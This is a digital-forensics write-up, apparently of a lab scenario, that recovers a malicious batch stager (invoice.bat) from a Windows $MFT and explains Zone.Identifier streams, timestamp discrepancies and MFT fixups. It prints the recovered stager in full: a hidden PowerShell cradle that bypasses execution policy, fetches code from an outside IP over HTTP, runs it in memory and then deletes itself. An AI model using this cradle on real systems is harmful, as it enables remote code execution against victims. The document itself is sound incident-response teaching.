Recovering a Stager from the MFT

DFIR Windows-Forensics

Executive Summary

On 2024-02-13, user simon.stark downloaded Stage-20240213T093324Z-001.zip from a Google-hosted export link received by email. The archive contained a nested invoices.zip and a batch file, invoice.bat. The batch file is a PowerShell download-and-execute stager that contacts 43[.]204[.]110[.]203:6666 over plain HTTP.

Only the $MFT was available. Because invoice.bat is small enough to be MFT-resident, its full content was recovered directly from the $MFT without access to the disk image.

Key Findings

# Finding Value
1 Initial download Stage-20240213T093324Z-001.zip
2 Download source (HostUrl) hxxps[:]//storage[.]googleapis[.]com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser
3 Malicious stager C:\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices\invoice.bat
4 Stager creation (Created0x30) 2024-02-13 16:38:39
5 MFT record offset 0x16E3000 (entry 23436)
6 C2 43[.]204[.]110[.]203:6666

Methodology

The $MFT was parsed to CSV with MFTECmd and reviewed in Timeline Explorer.

MFTECmd.exe -f "C:\Path\To\$MFT" --csv "C:\Path\To\Output\" --csvf mft.csv

MFTECmd emits one row per MFT record, including one row for each alternate data stream (ADS). It also adds columns such as Created0x10, Created0x30, Zone Id Contents, Has Ads and Is Ads.


Analysis

Initial download

The CSV was filtered on Extension = zip, and the downloads of simon.stark were reviewed. One ZIP stood out: Stage-20240213T093324Z-001.zip, located in \Users\simon.stark\Downloads.

Timeline Explorer, files grouped by extension

The filename follows the pattern of a Google Drive/Takeout-style export. 20240213T093324Z is a timestamp (2024-02-13 09:33:24 UTC) and -001 is the part number of a multi-part export. The same timestamp appears in the download URL, which ties the file to the export rather than to a local action.

Download source: Zone.Identifier

Filtering on the filename stage revealed Stage-20240213T093324Z-001.zip:Zone.Identifier, a stream listed with the extension .Identifier. MFTECmd shows its text in the Zone Id Contents column.

Zone.Identifier is an NTFS alternate data stream. An ADS is a named secondary $DATA stream attached to a file, invisible in normal directory listings and not counted in the file size. Browsers, mail clients and archivers write this stream to flag a file as coming from outside the machine. It is the basis of “Mark of the Web”, which triggers SmartScreen and Office Protected View.

Zone Id Contents of the stage ZIP

[ZoneTransfer]
ZoneId=3
HostUrl=https://storage[.]googleapis[.]com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser

ZoneId=3 means the Internet zone. The defined values are:

ZoneId Zone
0 Local machine
1 Local intranet
2 Trusted sites
3 Internet
4 Restricted sites

HostUrl holds the address the file itself was fetched from. ReferrerUrl holds the page that led to the download, such as the page containing the link. This stream carries ZoneId and HostUrl but no ReferrerUrl. The fields are written by the application doing the download, so not every field is present for every tool, and any program can write arbitrary values.

The host is Google’s storage service, so the payload was delivered through a legitimate cloud provider. Blocking by domain reputation would not have stopped this download. The HostUrl is the most useful IOC from this artifact, since it can be searched in proxy and DNS logs and reported to the provider.

Stager identification

Filtering Parent Path on stage listed everything unpacked from the archive.

Records under the Stage folder

The tree under Downloads is:

Stage-20240213T093324Z-001\
└── Stage\
    └── invoice\
        └── invoices\
            └── invoice.bat

invoices.zip and invoice.bat each have their own Zone.Identifier stream, so the Internet-zone mark was carried onto the extracted content.

invoice.bat is the only script-type file in the tree. Batch files execute commands through cmd.exe and are a common stager format.

Note on ReferrerUrl in extracted files. When Windows Explorer’s “Extract all” unpacks a marked archive, it writes a Zone.Identifier for each extracted file whose ReferrerUrl is the local path of the source archive. In this case, ReferrerUrl points back to the parent archive instead of a web page, which provides a way to chain nested archives together. Third-party archivers behave differently. Some copy the whole stream, some only ZoneId, and some none.

Creation time: $STANDARD_INFORMATION vs $FILE_NAME

Each MFT record carries two independent sets of timestamps.

Attribute MFTECmd column Behavior
$STANDARD_INFORMATION Created0x10 What Explorer displays. Writable from user mode (SetFileTime, archivers, timestomping tools) as shown in the figure below.
$FILE_NAME Created0x30 Maintained by the NTFS driver. Not writable through standard user-mode APIs. Updated on creation and on rename or move.

Because $FILE_NAME is harder to alter, it is the more trustworthy creation time. For invoice.bat, Created0x30 is 2024-02-13 16:38:39.

Created0x10 vs Created0x30

The two attributes disagree. Decoding the raw record (section 4.6) gives:

Field Value (UTC)
$SI Created 2024-02-13 17:23:16.000
$SI Modified 2024-02-13 16:38:39.965
$FN Created 2024-02-13 16:38:39.934

$SI Created is later than $FN Created and has no sub-second component. The common timestomping heuristic ($SI earlier than $FN, the SI<FN column in MFTECmd) is not met here. The MFT alone does not show why $SI Created differs. The same divergence appears on invoices.zip (Created0x10 17:25:52 vs Created0x30 16:35:31). The practical takeaway is that Created0x10 alone would have placed the file creation almost 45 minutes after it was written to disk. $SI Modified (16:38:39.965) agrees with $FN Created.

MFT record offset

Each MFT record is 1024 bytes, so the byte offset of a record in a raw $MFT is entry number × record size. The 1024-byte size is the default and is defined in the volume boot record.

Entry Number : 23436
Offset       : 23436 × 1024 = 23,998,464 = 0x16E3000

The record header at this offset confirms the calculation. At offset 0x2C the record stores its own number, 8C 5B 00 00, which is 0x5B8C = 23436. The sequence number at 0x10 is 9, and the header flags at 0x16 are 0x0001, meaning the record is allocated and is a file.

Recovering the stager from the MFT

A file is MFT-resident when its $DATA attribute fits inside the 1024-byte record, alongside the header, $STANDARD_INFORMATION, $FILE_NAME and any other attributes. In practice this limit is about 700 bytes and varies with filename length and the number of attributes. invoice.bat is 286 bytes, so its content sits inside the record, and no disk image is needed.

ImHex view at offset 0x16E3000

The record’s $FILE_NAME attribute names invoice.bat and points to parent entry 88577, the invoices folder. Its $DATA attribute is flagged resident with a content length of 286 bytes, so the script’s bytes sit directly in the record. A second, named $DATA attribute holds the Zone.Identifier stream, which is also resident.

Recovered content (reconstructed from the record; see the update-sequence note below):

@echo off
start /b powershell.exe -nol -w 1 -nop -ep bypass "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://43.204.110.203:6666/download/powershell/Om1hdHRpZmVzdGF0aW9uIGV0dw==') -UseBasicParsing|iex"
(goto) 2>nul & del "%~f0"

Update Sequence Array (fixup) note. NTFS replaces the last two bytes of every 512-byte sector in an MFT record with the Update Sequence Number, here 03 00. The original bytes are stored in the Update Sequence Array at 0x30. In a raw hex view the base64 token therefore shows 03 00 at record offset 0x1FE, between ...zdGF and W9uIGV0dw==. The USA entry at 0x32 holds 30 61 (0a), restoring the token to Om1hdHRpZmVzdGF0aW9uIGV0dw==. Parsers such as MFTECmd apply this fixup automatically, and a hex editor does not.

Command breakdown

Element Meaning
@echo off Stops cmd.exe from echoing the commands in the batch file.
start /b Starts PowerShell without opening a new window and without waiting for it.
-nol -NoLogo, suppresses the PowerShell banner.
-w 1 -WindowStyle Hidden (value 1 of the window-style enumeration).
-nop -NoProfile, skips profile scripts.
-ep bypass -ExecutionPolicy Bypass, ignores the execution policy.
...Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials Sets the proxy credentials to those of the logged-on user, so the request can authenticate through an authenticated corporate proxy.
iwr('http://...') -UseBasicParsing Invoke-WebRequest to the C2 over unencrypted HTTP. -UseBasicParsing avoids the Internet Explorer engine dependency.
\|iex Pipes the response to Invoke-Expression, so the downloaded script runs in memory.
(goto) 2>nul & del "%~f0" %~f0 is the full path of the running batch file. This line deletes the script after launch. (goto) 2>nul is a common idiom that stops batch parsing silently so the del can remove the running file.

The stager is a download-and-execute cradle. The second stage is fetched from 43[.]204[.]110[.]203:6666 and executed in memory without being written to disk. The URL path token Om1hdHRpZmVzdGF0aW9uIGV0dw== decodes to the ASCII string :mattifestation etw. Its purpose cannot be determined from the $MFT alone.

The record header marks the record as in use, so the file was still allocated at collection. The $MFT does not show whether the self-delete line ran.


Timeline (UTC, 2024-02-13)

Time Event Source
09:33:24 Export timestamp embedded in the ZIP name and HostUrl HostUrl, filename
16:35:15 Stage folder created Created0x10
16:35:26 invoice folder created Created0x10
16:35:31 invoices.zip created Created0x30
16:35:39 invoices folder created Created0x10
16:38:39 invoice.bat created Created0x30
16:38:41 invoice.bat accessed $SI accessed

The 09:33 time is when the export was generated on the Google side. The remaining rows are host-side activity.

Indicators of Compromise

Type Value
Filename invoice.bat
Download URL hxxps[:]//storage[.]googleapis[.]com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser
C2 43[.]204[.]110[.]203:6666
Stage-2 URL hxxp://43[.]204[.]110[.]203:6666/download/powershell/Om1hdHRpZmVzdGF0aW9uIGV0dw==
Command-line pattern powershell.exe -nol -w 1 -nop -ep bypass ... iwr(...) -UseBasicParsing\|iex

MITRE ATT&CK Mapping

Technique ID Evidence
Phishing: Spearphishing Link T1566.002 ZIP downloaded from an emailed link (per scenario)
User Execution: Malicious File T1204.002 invoice.bat extracted into the user profile
Command and Scripting Interpreter: Windows Command Shell T1059.003 Batch stager
Command and Scripting Interpreter: PowerShell T1059.001 powershell.exe with iwr\|iex
Ingress Tool Transfer T1105 Stage-2 fetched from the C2
Indicator Removal: File Deletion T1070.004 del "%~f0" in the script

Recommendations

  1. Search proxy, DNS and EDR telemetry for 43[.]204[.]110[.]203 and the HostUrl across the estate.
  2. Hunt for PowerShell command lines containing -w 1 -nop -ep bypass together with iwr ... |iex.
  3. Collect PowerShell script-block logs (Event ID 4104) and process creation (4688/Sysmon 1) from the host to recover the stage-2 content, since the $MFT only holds the stager.
  4. Review the mailbox of simon.stark for the originating email and check whether other users received the same link.

Lessons Learned

  • Small files, scripts and Zone.Identifier streams can be resident in the $MFT, so a lone $MFT can still yield file content and download provenance.
  • $STANDARD_INFORMATION and $FILE_NAME timestamps can disagree. Compare both before fixing an event time.
  • A raw hex view of an MFT record includes fixup bytes at the end of each 512-byte sector. Parsed tool output does not.